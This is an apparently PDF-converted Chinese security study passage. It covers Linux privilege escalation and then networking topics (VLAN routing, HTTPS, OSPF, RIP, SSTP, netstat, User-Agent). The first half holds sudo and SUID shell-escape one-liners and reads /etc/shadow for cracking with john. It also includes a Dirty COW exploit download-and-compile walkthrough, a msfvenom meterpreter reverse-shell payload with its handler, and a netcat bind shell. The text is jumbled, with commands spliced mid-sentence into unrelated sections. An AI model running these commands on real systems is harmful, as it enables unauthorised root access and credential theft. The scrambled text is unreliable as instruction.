ctrl+r 和 ctrl+x 再输入要执行的命令,比如 id,那么就会以 root 权限执行
13 )rvim 提权:
sudo rvim -c ‘:python3 import os; os.execl("/bin/sh", “sh”, “-c”, “reset; exec sh”)’
14 )perl 提权:
sudo perl -e ’exec “/bin/sh”;’
14 )tclsh 提权:
Tcl 是一种脚本语言,是一种基于字符串的命令语言
sudo tclsh
exec /bin/sh <@stdin >@stdout 2>@stderr
15 )git 提权:
sudo git -p help config
!/bin/sh
16 )script 提权:
sudo script -q /dev/null
taskset 提权:
taskset 1 /bin/bash -p
sudo ssh -o ProxyCommand=’;sh 0<&2 1>&2’ x
john 爆破:
xxd 提权:
xxd 命令可以为给定的标准输入或者文件做一次十六进制的输出,它也可以将十六进制输出转换为原来的二进制格式,当 suid 和执行权限一 起使用将会造成提权
首先查看组信息,查看到用户 susan 属于 itservices 用户组:cat /etc/group | grep itservices
用超户查看隐藏文件,发现 susan 账户下面的 secret,进行查看,得到的密码:
find / -name “.” -type f -path “/home/” -exec ls -al {} ;
用 MySuperS3cretValue!密码登录 susan 账户,使用 xxd 命令读取/etc/shadow 文件
先进到root账户下
查看哈希
udo xxd ‘/etc/shadow’ |xxd -r
然后把爆破#
复制哈希值并写入1.txt
然后爆破#
john –wordlist=/usr/share/wordlists/rockyou.txt.gz 1.txt
Windows提权
#Windows10
脏牛提权#
首先查看内核版本确定是在脏牛提权影响的linux内核版本
漏洞影响范围:Linux Kernel>=2.6.22的所有linux主机(没打过补丁的)
该范围内的核心发布之间为2007-2016年 10 月 18 日所以是在影响范围内的
使用searchsploit工具找到提权脚本#
找到本地文件的具体位置,并将脚本文件复制到/tmp目录下(为了不损坏原文件)
将该文件上传到目标主机#
首先在tmp目录下起以和http服务,然后目标主机通过wget下载到本地,然后将.cpp文件编译得到一个可执行文件,直接执行就能得到root账 号的密码
登录root账号找到flag#
SUDO滥用提权#
SUDO滥用提权原理#
sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如reboot,su等等。这样不仅减少了 root用户的登录和管理时间,同样也提高了安全性。sudo不是对shell的一个代替,它是面向每个命令的。在一些应用场景里面,为了方便运 维人员以低权限帐号进行运维,往往会开启帐号的一些SUDO权限给运维帐号,而SUDO权限的授予在/etc/sudoers中进行操作
具体的格式如下
cseroad表示用户名searchsploit dirtylocate linux/local/40847.cpp
scp /usr/share/exploitdb/exploits/linux/local/40847.cpp /tmppython -m SimpleHTTPServer 8000
wget http://192.168.179.145:8000/40847.cpp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil
ls -al
./40847
###
得到root的密码为dirtyCowFunssh root@192.168.179.157
dirtyCowFun
cd /root
ls -al
cat flag.txt
######
9740616875908d91ddcdaa8aea3af366cseroad ALL=(ALL:ALL) NOPASSWD:/usr/bin/apt-get第一个 ALL 指示允许从任何终端访问sudo
第二个(ALL:ALL)指示sudo命令被允许任意用户、任意组执行
第三个 NOPASSWD 表示不需要输入密码而可以sudo执行的命令这里要注意了添加的命令一定要写在最后一行
但是想获取哪些命令设置了无密码sudo,还是需要查看 cat /etc/sudoers 文件或者 sudo -l 命令,而这两条命令都需要一定权限或者知道当 前用户密码
如果给sudo配置文件配置了ALL 或者以下的命令就可以进行提权
提权的命令如下#
wget、find、cat、apt、zip、xxd、time、taskset、git、sed、pip、ed、tmux、scp、perl、bash、less、awk、man、vi、env、
ftp、ed、screen一条命令提权的
sudo vim -c '!sh'
sudo awk 'BEGIN {system("/bin/sh")}'
sudo xxd "/etc/shadow" | xxd -r
sudo env /bin/sh
sudo perl -e 'exec "/bin/sh";'
sudo zip 2.zip 1.txt -T --unzip-command="sh -c /bin/sh"
sudo sed -n '1e exec sh 1>&0' /etc/passwd
sudo find /etc/passwd -exec /bin/sh \;两条命令提权的
sudo git help config
!/bin/shsudo ftp
!/bin/shsudo less /etc/hosts
!shsudo ed
!/bin/shsudo man man
!/bin/sh提权准备#
使用root用户配置/etc/sudoers配置文件,设置普通用户可以运行任意命令
提权实战#
使用CS或者MSF或者webshell上线机器
使用sudo -l 查看,发现awk可以无密码进行使用
接下来使用命令进行提权#
SUID提权配置#
SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可 以利用系统中的二进制文件和工具来进行root提权。
已知的可用来提权的linux可行性的文件列表如下:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.0.105 LPORT=8888 -f elf > mshell.elfuse exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.0.105
set lport 8888
runsudo awk 'BEGIN {system("/bin/sh")}'Nmap
Vim
find
Bash
More
Less
Nano
cp以下命令可以发现系统上运行的所有SUID可执行文件。具体来说,命令将尝试查找具有root权限的SUID的文件。
以上所有二进制文件都将以root用户权限执行,因为它们的权限中包含"s",并且对应的是root权限。
NMAP#
较旧版本的Nmap(2.02至5.21)具有交互模式,允许用户执行shell命令。由于Nmap在使用root权限执行的二进制文件列表中,因此可以 使用交互式控制台来运行具有相同权限的shell。
交互模式可以通过执行Nmap参数" interactive "
以下命令将提供一个提升的shell。
也可以通过Metasploit模块对Nmap的二进制文件进行权限提升。
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;ls -l /usr/bin/nmap
-rwsr-xr-x 1 root root 780676 2008-04-08 10:04 /usr/bin/nmapnmap -Vnmap --interactivenmap> !sh
sh-3.2# whoami
rootexploit/unix/local/setuid_nmapFind#
如果Find命令也是以Suid权限运行的话,则将通过find执行的所有命令都会以root权限执行。
大部分Linux操作系统都安装了netcat,因此也可以被利用来将权限提升至root。
连接上去就会直接获取到一个Root权限的shell。
VIM#
Vim是Linux环境下的一款文件编辑器。但是,如果以SUID运行的话,它会继承root用户的权限,因此可以读取系统上的所有文件。
Bash#
以下命令将以root权限打开一个bash shell。
touch pentestlab
find pentestlab -exec whoami \;find pentestlab -exec netcat -lvp 5555 -e /bin/sh \;netcat 192.168.1.189 5555
id
cat /etc/shadowvim.tiny /etc/shadowvim.tiny
# Press ESC key
:set shell=/bin/sh
:shellLess#
Less和More都执行以用来提权。
获取到Root权限
威胁情报分析平台#
最近在做一些威胁情报分析,apt攻击源分析中,发现了一个很好的平台,给大家推荐一下。
平台地址:http://www.vxcube.com
十九、单臂路由的配置场景是什么? https 安全在哪?#
单臂路由使用场景:#
默认情况下,不同的vlan用户之间是不允许相互访问,但是在某些特殊情况下,需要实现不同用户之间的相互,此时就需要用到单臂路由技 术;原理是将一个物理接口,划分成多个虚拟子接口,每一个虚拟子接口都可以配置一个地址作为网关。
模拟PC机组网#
实验设备:一台交换机,一台路由器,两台主机,搭建一个简单拓扑#
1.配置交换机,划分vlan,将F0/1端口属于vlan10,F0/2属于vlan20
//交换机设置access口,并划分子网
Switch(config)#interface f0/1 //进入f0/1端口
Switch(config-if)#switchport mode access //设置端口为access模式
Switch(config-if)#switchport access vlan 10 //将f0/1端口划给vlan10
Switch(config-if)#do show vlan b //查看是否配置成功
bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(servless /etc/passwd
!/bin/sh可以看到,交换机的F0/1端口划分给了vlan 10,F0/2端口划分给了vlan 20
2.配置PC0和PC1的IP,注意网关
3.配置路由器,配置网口,#
打开路由器的接口#
Router(config)#interface f0/0
Router(config-if)#no shutdown
单臂路由配置:#
1.打开路由器的接口#
2 。创建虚拟子接口#
Router(config-if)#int f0/0.10 //进入f0/0的虚拟子接口
Router(config)#interface f0/0Router(config-if)#no shutdownRouter(config-subif)#encapsulation dot1Q 10 //给虚拟子接口封装并打上vlan10的标签
Router(config-subif)#ip add 192.168.10.254 255.255.255.0 //配置IP地址
Router(config-subif)#int f0/0.20
Router(config-subif)#encapsulation dot1Q 20
Router(config-subif)#ip add 192.168.20.254 255.255.255.0
3.将交换机连接路由器的端口设置为TRUNK模式。
Switch(config)#int f0/3
Switch(config-if)#switchport mode trunk
4.配置已经完成,测试PC1与PC2的通信是否成功
对称加密算法#
都说http是不安全的,http是明文传输,也就是说http在两个主机之间传输的信息都是没有经过加密的,那给他加个密不就好了。于是就有 了对称加密算法。 对称加密算法指的是加密和解密用的是同一个密钥。
每次进行数据传输前,都是先对要传输的数据进行加密,然后对方再进行解密。虽然加密和解密算法是公开的,但那个密钥是保密的, 当收#
到密文时,只有通过密钥才可以解密。但是这个密钥怎么才能安全的传输给对方呢?所以就有了非对称加密算法。#
非对称加密算法(RSA)#
RSA有一个特点就是主机A和B都有一个自己的公钥和私钥,公钥全世界都可以知道,而私钥只有自己知道。并且用私钥加密的数据,只有对#
应的公钥才可以解开;用公钥加密的数据只有对应得私钥才可以解密。#
这样以后,主机A给主机B发消息,就先用主机B的公钥进行加密,(主机B的公钥全球人都知道)然后 B收到消息后,再用自己的私钥进行解#
密。(只有B能解密,因为消息是通过B的公钥加密,并且B的私钥只有B知道)。这样主机A、B之间就可以翻新安全的传输消息了。#
但问题就是,RSA这样的效率非常慢,相比之前的对称密钥慢多了,感觉没有必要了。于是,那要不将两个加密算法结合起来,看看怎么#
样??#
非对称加密+对称加密#
具体怎么做呢??#
1.主机A先生成一个对称加密算法的密钥,然后用RSA的方式发送给B;#
2.然后主机B和A之间以后的通信就通过这个密钥用对称加密算法来通信。#
可是这样,似乎又有问题,假如A用RSA的方式给B发送对称加密算法的密钥时,因为A要知道B的公钥,所以B要先给A发送B自己的公钥,这#
时候如果由中间人C截取了B的公钥,然后冒充B把自己的公钥(C的公钥)发给了A,然后A发给B的消息就用中间人C的公钥加了密,那此时#
只有中间人C才可以解密,并且中间人C还可以把收到的消息再次用B的公钥加密再发给B,B此时收到的消息就是中间人C发给他的,并且消#
息还可以是经过中间人C修改过的。#
但此时A和B都不知道他们发送的消息是经过中间人的。#
所以现在的问题就是要知道我主机A拿到的公钥是不是主机B的公钥,如果是,那就没问题,如果不是,那肯定就是被中间人截取并且修改成#
中间人的了。#
此时我们必须找一个个方法来核实这个公钥到底是谁的?????#
此时就有了数字证书这个东西。#
数字证书#
首先,主机A把他的公钥和个人信息用Hash算法生成一个消息摘要,这个Hash算法有个好的特点就是只要输入的数据有一点点变化,那么生 成的消息摘要就会发生巨变。 这样就可以防止别人修改原始的内容。然后再将这个消息摘摘要通过认证中心(CA)的私钥进行加密,形成 数字 签名 。
接着再把数字签名和原始信息(主机B得公钥和信息)合并 ,形成一个新的东西,叫做 数字证书 。#
当主机B把这个数字证书发给主机A时,主机同相同的Hash算法对原始信息生成消息摘要,再用CA的公钥对数字签名进行解密,得到CA创建 消息摘要,然后进行对比,看有没有改变。如果一样,说明公钥没人改,也就是说此时的公钥就是主机B的公钥,拿到主机B的公钥之后,再 通过之前讲的非对称加密算法把对称加密算法的密钥传输过去,接着以后的数据的传输就用对称加密算法完成就ok了。
不过这样做的前提是得信任CA,这些CA本身也有证书来证明自己的身份,并且CA的信用是像树一样分级的,高层的CA给底层的CA做#
信用背书,而操作系统/浏览器中会内置一些顶层的CA的证书,相当于你自动信任了他们。 这些顶层的CA证书一定得安全地放入操作#
系统/浏览器当中,否则世界大乱。你可以打开浏览器, 从设置中可以找到“受信任的根证书”#
HTTPS#
那对于主机A和主机B完整得通信就是下图这样。#
HTTP和HTTPS的区别#
到现在为止,我们就比较清楚HTTPS和HTTP的区别;借用比较规范的回答就是下面几点。#
HTTPS和HTTP的区别主要如下:#
1 、https协议需要到CA申请证书,一般免费证书较少,因而需要一定费用。 2 、http是超文本传输协议,信息是明文传输,https则是具有安全性的ssl加密传输协议。 3 、http和https使用的是完全不同的连接方式,用的端口也不一样,前者是 80 ,后者是 443 。 4 、http的连接很简单,是无状态的;HTTPS协议是由SSL+HTTP协议构建的可进行加密传输、身份认证的网络协议,比http协议安全。
HTTPS提高了安全性,但其他方面就不如HTTP了 1 、因为HTTPS要保证安全,所以HTTPS协议握手阶段比较费时,会消耗更多的CPU 2 、HTTPS连接缓存不如HTTP高效,会增加数据开销和功耗。 3 、SSL证书需要钱,功能越强大的证书费用越高。 4 、SSL证书通常需要绑定IP,不能在同一IP上绑定多个域名,IPv4资源不可能支撑这个消耗。 5 、HTTPS协议的加密范围也比较有限,在黑客攻击、拒绝服务攻击、服务器劫持等方面几乎起不到什么作用。
总得来说, HTTPS:是以安全为目标的HTTP通道,简单讲是HTTP的安全版,即HTTP下加入SSL层,HTTPS的安全基础是SSL,因此加密的详细内容就 需要SSL。 HTTPS协议的主要作用可以分为两种:一种是建立一个信息安全通道,来保证数据传输的安全;另一种就是确认网站的真实性。
二十、ospf 有了解过吗? RIP 协议了解吗? SSL 是什么?#
一、OSPF产生背景#
之前电脑比较少还没有普及的时候,当时电脑之间通信采用的是静态路由#
静态路由工程师手动配置和维护路由条目,命令行结构简单准确,但是只适用于小型网络(原因嘛,很好理解,就是需要手动进行配#
置,三五台还可以接受,但是三五百台呢?),并且无法动态的响应网络结构的变化,无法自动收敛网络(就是不明确物理网络链路#
的状态信息,链路都坏了,路由器还傻乎乎的一直发送数据),必须工程师进行手动修改#
工程师忙不过来就想着创造一种新的协议,来解决此问题,于是就催生了出了OSPF动态路由协议,OSPF能够支持更大规模的网络#
- 动态路由协议因其灵活性高、可靠性好、易于扩展等特点被广泛应用于现网。在动态路由协议之中, OSPF(Open Shortest Path First ,开放式最短路径优先) 协议是使用场景非常广泛的动态路由协议之一。
- OSPF 在 RFC2328 中定义,是一种基于链路状态算法的路由协议。
二、动态路由协议的分类#
相信大家初学者看到这些应该是有点蒙的,不要慌,一步一步慢慢来嘛,我在这里就给大家粗略的介绍一个协议,那就是BGP协议#
- BGP 使用一种基于距离矢量算法修改后的算法,该算法被称为路径适量( Path Vector )算法。因此在某些场合下, BGP 也被称为 路径矢量路由协议。
既然说到这里就随便给大家提一下什么叫距离矢量路由协议,这方面知识对于初学者来说了解就好
距离矢量路由协议–路由表泛洪:
- 运行距离矢量路由协议的路由器周期性的 泛洪自己的路由表 。通过路由的交互,每台路由器都从相邻的路由器学习到路由,并且加 载进自己的路由表中。
- 对于网络中的所有路由器而言,路由器并不清楚网络的拓扑,只是简单的知道要去往某个目的方向在哪里,距离有多远(通过一层层 的交互得来的)。这即是距离矢量算法的本质。
这种协议虽然可以达到互通的目的,但是对网络整体结构并没有一个清楚的认知,不是太智能#
链路状态路由协议–LSA泛洪:#
• 与距离矢量路由协议不同,链路状态路由协议通告的的是链路状态而不是路由表。运行链路状态路由协议的路由器之间首先会建立一#
个协议的邻居关系,然后彼此之间开始交互 LSA(Link State Advertisement,链路状态通告) 。链路状态路由协议可以理解为每个路由器都互相发送一个包(LSA),来描述自己直连接口状态(状态包括端口的度量值/开销值、直连的网#
段/与相邻路由器之间的关系等等)#
三、OSPF底层原理四大步骤#
1.建立相邻路由器之间的邻居关系#
2.邻居与邻居之间交互LSA(Link State Advertisement)以及同步LSDB
3.计算最优路径4.将最优路径添加到路由表内接下来我们就逐一讲解这几大步骤
1.建立邻居关系:
这个好理解,就是路由器之间互相先认识认识,方便后面交互信息
2.邻居与邻居间交互LSA以及同步LSDB:
上面讲到过邻居关系建立后就会交互LSA,但是交互完成的LSA放在哪里呢? 答案就是放入到 LSDB(Link State DataBase,链路状态数据库) 里面,路由器通过LSDB,就可以知道全网的拓扑结构
3.计算最优路径:#
在有路径数据库(LSDB)的基础上使用SPF(Shorest Path First,最短路径优先)算法进行计算, 每台 路由器都可以基于此算法算出一颗 以自己 为根的、无环的、具有最短路径的一颗 ”树“ ,有了这棵树,你去哪里都可以,而且是路径最短
4.将最短路径加入路由表内#
这里只需要记住一点那就是 只加入一条 ,这一条就是SPF计算出来的那一条路径最短的路线#
总结#
链路状态路由协议有四个步骤:#
第一步是建立相邻路由器之间的邻居关系。#
第二步是邻居之间交互链路状态信息和同步 LSDB 。#
第三步是进行优选路径计算。#
第四步是根据最短路径树生成路由表项加载到路由表。#
四、OSPF基本术语:Router-ID/度量值/区域#
Router-ID:
- Router-ID(Router Identifier,路由器标识符) ,用于在一个 OSPF 域中唯一地标识一台路由器。
- Router-ID 的设定可以通过手工配置的方式,或使用系统自动配置的方式(初期可以不配置,但是学深了就知道必需要进行配置)。
- 在实际项目中,通常会通过 手工配置方式 为设备指定 OSPF Router-ID 。 请注意必须保证在 OSPF 域中任意两台设备的 Router-ID 都 不相同 。通常的做法是将 Router-ID 配置为与该设备某个接口(通常为 Loopback 接口)的 IP 地址一致(因为IP地址不会重复呀)。
度量值:#
- OSPF 使用 Cost (开销)作为路由的度量值。 每一个激活了 OSPF 的接口都会维护一个接口 Cost 值,缺省时接口 Cost 值 = 100 Mbit / s 接口带宽"100 Mbit/s " /“接口带宽” 。其中 100 M bit / s"Mbit/s" 为 OSPF 指定的缺省参考值,该值是 可配置 的。
- 笼统地说,一条 OSPF 路由的 Cost 值可以理解为是从目的网段到本路由器沿途所有入接口的 Cost 值累加。
区域:
- OSPF Area 用于标识一个 OSPF 的区域。
- 区域是 从逻辑 上将设备划分为不同的组,每个组用区域号( Area ID )来标识。
五、OSPF基础配置命令#
1.在系统视图下创建并运行ospf进程
porcess__-id 用于标识OSPF进程, 默认 进程号为 1 。
OSPF 支持多进程 ,在同一台设备上可以运行多个不同的OSPF进程,它们之间互不影响,彼此独立。router-id 用于手工指定设备的ID号。如果没有通过命令指定ID号,系统会从当前接口的IP地址中自动选取一个作为设备的ID号。2.在ospf视图下创建并进入ospf区域
area 命令用来创建OSPF区域(目的就是把同样使用ospf协议的其他路由器划分到同一个组),并进入OSPF区域视图。
area-id 可以是十进制整数或点分十进制格式。采取整数形式时,取值范围是 0 ~ 42949672953.在ospf区域视图下指定运行ospf的接口
network 命令用来指定运行OSPF协议的接口和接口所属的区域。 network-address 为接口所在的网段地址。 wildcard-mask 为IP地址的
反码,相当于将IP地址的掩码反转( 0 变 1 , 1 变 0 ),例如0.0.0.255表示掩码长度24 bit。一、RIP简介#
RIP是Routing Information Protocol(路由信息协议)的简称,它是一种较为简单的内部网关协议(Interior Gateway Protocol)
RIP是一种基于距离矢量(Distance-Vector)算法的协议,它使用跳数(Hop Count)作为度量来衡量到达目的网络的距离。设备到与他直 连网络的设备跳数为 0 ,然后每经过一个三层设备跳数增加 1 ,也就是度量值等于从本网络到达目网络间的三层设备数量,但并不等于所经过 的网段数
RIP通过UDP报文进行路由信息的交换,使用的端口号为 520 。所以它又是一个不可靠的路由协议
由于RIP的实现较为简单,在配置和维护管理方面也远比OSPF和IS-IS容易,因此RIP主要应用于规模较小的网络中,例如校园网以及结构较简 单的地区性网络。对于更为复杂的环境和大型网络,一般不使用RIP协议
RIP包括RIP-1和RIP-2两个版本,RIP-2对RIP-1进行了扩充,使其更具有优势
二、RIP原理#
RIP是一种基于距离矢量(Distance-Vector)算法的协议,它使用跳数(Hop Count)作为度量值来衡量到达目的地址的距离
在RIP网络中,缺省情况下,设备到与它直接相连网络的跳数为 0 ,通过一个设备可达的网络的跳数为 1 ,其余依此类推。也就是说,度量值 等于从本网络到达目的网络间的设备数量。为限制收敛时间,RIP规定度量值取 0 ~ 15 之间的整数,大于或等于 16 的跳数被定义为无穷大,即 目的网络或主机不可达。由于这个限制,使得RIP不可能在大型网络中得到应用
RIP协议有两种更新机制:
一是定期更新,二是触发更新。定期更新是根据设置的更新计时器定期发送RIP路由通告。而触发更新是RIP路由器一旦察觉到网络变化,就 尽快甚至是立即发送更新报文,而不等待更新周期结束。只要触发更新的速度足够快,就可以大大地防止“计数到无穷大”的发生,但是这一 现象还是有可能发生的
无论是定期更新,还是触发更新,RIP路由的更新规则如下:
1. 如果更新的某路由表项在路由表中没有,则直接在路由表中添加该路由表项
2. 如果路由表中已有相同目的网络的路由表项,且来源端口相同,那么无条件根据最新的路由信息更新其路由表
3. 如果路由表中已有相同目的网络的路由表项,但来源端口不同,则要比较它们的度量值,将度量值较小的一个作为自己的路由表项
4. 如果路由表中已有相同目的网络的路由表项,且度量值相等,保留原来的路由表项三、RIP运行例子#
#例如:ospf 1
#router暂时还不用进行配置
[Huawei] ospf [ process-id | router-id router-id ]例如:area 0
[Huawei-ospf-1] area area-id#切记这里是反掩码
宣告网段地址方法
Huawei-ospf-1-area-0.0.0.0] network network-address wildcard-mask#可以宣告网段地址加反掩码,也可以宣告网关地址加反掩码
宣告网关地址的好处是--网关地址是已经确定的,网关地址的反掩码是不变的,都为0.0.0.0
宣告网关地址方法
Huawei-ospf-1-area-0.0.0.0] network 网关地址 0.0.0.01. 在一开始,所有路由器中的路由表只有自己所直接连接的网络的路由表项信息。但不是RIP路由表项,是直连路由表项,无需下一跳#
(用“–”表示),度量“距离”也均为 0 ,各路由器的初始路由表如图所示,均只有两条直连网络的路由表项#
2. 接下来,各路由器就会按设置的周期(默认为 30 秒)向邻居路由器发送路由更新了。具体哪个路由器会先发送路由更新,取决于哪个路由#
器先开了。现假设路由器R2先收到来自路由器R1和R3的路由更新,然后就更新自己的路由表,如图所示。从中可以看出,它新添加了分别#
通过R1和R3到达10.0.0.0网络和30.0.0.0网络的路由表项,度量值均为 1 ,因为它只经过了一跳#
3. R2更新自己的路由表后,会把完整的路由表发给邻居路由器R1和R3。路由器R1和R3分别再进行更新。根据前面介绍的RIP路由表更新的#
规则可以知道,R1对每项度量进行加 1 ,得到的路由表如图所示#
4. 然后R1再把图8-9所示的路由表与自己原来的路由表进行比较,凡是新添加的,和度量值小于等于原来的路由表项均将更新,度量值更大#
的路由表项将忽略更新。经过行比较发现有两条新的路由表项,其目的网络分别为30.0.0.0和40.0.0.0,直接在路由表中添加。而原来已有的#
两条10.0.0.0和20.0.0.0表项,发现路由度量(“距离”)值 1 比原来的 0 还大,忽略更新,结果就得到R1更新后的路由表,如图所示#
四、其他#
RIP封装在UDP之上,端口为 520#
组播,为了降低那些没有监听RIP Version 2 报文的主机的不必要的开销,IP多目传送地址被用于定时广播。IP 多目地址是224.0.0.9
简介:#
SSL(Secure Sockets Layer 安全套接层) ,及其继任者 传输层安全(Transport Layer
Security,TLS) 是为网络通信提供安全及数据完整性的一种安全协议。TLS与SSL在传输层与应用层之间对网络连接进行加密。分析:
SSL(Secure Sockets Layer 安全套接层) ,为Netscape所研发,用以保障在Internet上数据传输的安全,利用数据加密(Encryption)技术, 可确保数据在网络上的传输过程中不会被截取及窃听。一般通用的规格为40 bit的安全标准,美国则已推出128 bit的更高安全标准。只要3.0 版本以上的I.E.或Netscape浏览器即可支持SSL。 当前版本为3.0。它已被广泛地用于Web浏览器与服务器之间的身份认证和加密数据传输。 SSL协议位于传输层协议与应用层协议之间,为数据通讯提供安全支持。
SSL协议可分为两层:
SSL记录协议(SSL Record Protocol) :它建立在可靠的传输协议(如TCP)之上,为高层协议提供数据封装、压缩、加密等基本功
能的支持。
SSL握手协议(SSL Handshake Protocol) :它建立在SSL记录协议之上,用于在实际的数据传输开始前,通讯双方进行身份认证、
协商加密算法、交换加密密钥等。二十一、了解 sstp 吗?#
SSTP:安全套接字隧道协议#
SSTP可以创建一个在HTTPS上传送的VPN隧道,从而消除与基于PPTP(点对点隧道协议)或L2TP(第 2 层隧道协议)VPN连接有关的诸多问#
题。因为这些协议有可能受到某些位于客户端与服务器之间的Web代理、防火墙和网络地址转换(NAT)路由器的阻拦。 这种SSTP只适用于远程访问,不能支持站点与站点之间的VPN隧道。 微软公司希望,当IPSec VPN连接受到防火墙或路由器的阻拦后,SSTP可以帮助客户减少与IPSec VPN有关的问题。此外,SSTP也不会产生 保留的问题,因为它不会改变最终用户的VPN控制权。基于VPN隧道的SSTP可直接插入当前的微软VPN客户端和服务器软件的接口中。
二十二、说一下 netstat -ano 的意义#
在 Windows 中可以用 netstat 命令显示套接字内容,如下图所示,图中的第一行相当于一个套接字,当创建套接字时,就会在这里增加一 行新的控制信息,赋予“即将开始通信”的状态,并进行通信的准备工作,例如,分配用于临时存放收发数据的缓冲区空间。
既然有图,我们就来讲讲图上这些到底是什么意思。比如第 14 行,它表示 PID(Process ID:进程标识符的缩写,是操作系统为了标识程序 而分配的编号,使用任务管理器可以查询所对应的程序名称)为 1444 的程序正在使用 IP 地址为 192.168.31.142 的网卡与 IP 地址为 23.33.16.8 的对象进行通信。注意:如果本机使用某一个端口,对方使用 139 端口,而 139 端口是 Windows 文件服务器使用的端口,因此 我们就能够看出这个套接字是连接到一台文件服务器的。我们再来看第 1 行,这一行表示 PID 为 10648 的程序正在 22 端口等待另一方的连 接,其中本地 IP 地址和远程 IP 地址都是 0.0.0.0,这就表示通信还没有开始,IP 地址不确定。(对于处于等待连接状态的套接字,也可以绑 定 IP 地址,如果绑定了 IP 地址,那么除绑定的 IP 地址之外,对其他地址进行连接操作都会出错。当服务器上安装有多块网卡时,可以用这 种方式 来限制只能连接到特定的网卡。)
说明:#
netstat 是用于显示套接字内容的命令,-ano 选项表示以下的意思:
a:不仅显示正在通信的套接字,还显示包括尚未开始通信等状态的所有套接字
n:显示 IP 地址和端口号
o:显示使用该套接字的程序 PID
第一列表示:协议类型:使用 TCP/IP 协议通信的情况下, 会显示 TCP 或者 UDP第二列表示:系统 浏览器 User-Agent字符串Mac Chrome
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_ 12 _6) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.75 Safari/537.36Mac Firefox Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:65.0) Gecko/20100101 Firefox/65.0Mac Safari
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_ 12 _6) AppleWebKit/605.1.15 (KHTML, like Gecko)
Version/12.0.3 Safari/605.1.15Windows Edge
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/64.0.3282.140 Safari/537.36 Edge/18.17763Windows IE Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoWindows Chrome
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/72.0.3626.121 Safari/537.36iOS Chrome
Mozilla/5.0 (iPhone; CPU iPhone OS 7_ 0 _4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko)
CriOS/31.0.1650.18 Mobile/11B554a Safari/8536.25iOS Safari
Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko)
Version/8.0 Mobile/12F70 Safari/600.1.4Android Chrome
Mozilla/5.0 (Linux; Android 4.2.1; M040 Build/JOP40D) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/31.0.1650.59 Mobile Safari/537.36Android Webkit
Mozilla/5.0 (Linux; U; Android 4.4.4; zh-cn; M351 Build/KTU84P) AppleWebKit/534.30 (KHTML, like
Gecko) Version/4.0 Mobile Safari/534.30浏览器名#
称#
Chrome本地地址:Local Address,运行 netstat 命令的计算机本身(本地端)的 IP 地址和端口号。本例中的计算机上只安装了一块网卡,
所以只 会显示出一个 IP 地址,如果安装了多块网卡, 则会显示出多个 IP 地址。 0.0.0.0 表示不绑定 IP 地址第三列表示:
通信对象(远程端)的 IP 地址和端口号。
0.0.0.0 表示还没有开始通信,没有绑定 IP 地址和端口号。此外,UDP 协议中的套接字不绑定对方的地址和端口,因此这里显示*.*
第四列表示:状态:State,表示通信状态。
LISTENING:等待对方连接的状态
ESTABLISHED:完成连接并正在进行数据通信的 状态
CLOSE WAIT:表示被动关闭
SYN_SENT:是三次握手的过程,表示你的机器发 起了连接,对方没有响应
TIME WAIT:等待足够的时间以确保远程 TCP 接收到连接中断请求的确认以上只是列出了几个常见的状态,还有其他哦
第五列表示:使用该套接字的程序 PID(进程标识符)。可以 使用任务管理器来查询 PID 对应的程序名称, 不过任务管理器默认不显示 PID 的,需
要在 "查看"一> "选择歹中设置显示 PID二十三、UA 头是干什么的?#
User-Agent(用户代理)是什么#
User-Agent 即用户代理,简称“UA”,它是一个特殊字符串头。网站服务器通过识别 “UA”来确定用户所使用的操作系统版本、CPU 类型、浏 览器版本等信息。而网站服务器则通过判断 UA 来给客户端发送不同的页面。
我们知道,网络爬虫使用程序代码来访问网站,而非人类亲自点击访问,因此爬虫程序也被称为“网络机器人”。绝大多数网站都具备一定的 反爬能力,禁止网爬虫大量地访问网站,以免给网站服务器带来压力。本节即将要讲解的 User-Agent 就是反爬策略的第一步。
网站通过识别请求头中 User-Agent 信息来判断是否是爬虫访问网站。如果是,网站首先对该 IP 进行预警,对其进行重点监控,当发现该 IP 超过规定时间内的访问次数, 将在一段时间内禁止其再次访问网站。
常见的 User-Agent 请求头,如下所示:
常见的 User-Agent 汇总表
使用上表中的浏览器 UA,我们可以很方便的构建出 User-Agent。通过在线识别工具,可以查看本机的浏览器版本以及 UA 信息,如下所 示:
当前浏览器UA信息
浏览器名#
称#
Chrome浏览器版#
本#
88.0.4324.182#
系统平台 WindowsUA信息#
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182
Safari/537.36若想更多地了解浏览器 UA 信息(包含移动端、PC端)可参考《常用浏览器User-Agent》。
爬虫程序UA信息#
下面,通过向 HTTP 测试网站(http://httpbin.org/)发送 GET 请求来查看请求头信息,从而获取爬虫程序的 UA。代码如下所示:
程序运行后,输出的请求头信息如下所示:#
从输出结果可以看出,User-Agent 竟然是 Python-urllib/3.7,这显然是爬虫程序访问网站。因此就需要重构 User-Agent,将其伪装成“浏览 器”访问网站。
注意:httpbin.org 这个网站能测试 HTTP 请求和响应的各种信息,比如 cookie、IP、headers 和登录验证等,且支持
GET、POST 等多种方法,对 Web 开发和测试很有帮助。重构爬虫UA信息#
下面使用urllib.request.Request()方法重构 User-Agent 信息,代码如下所示:
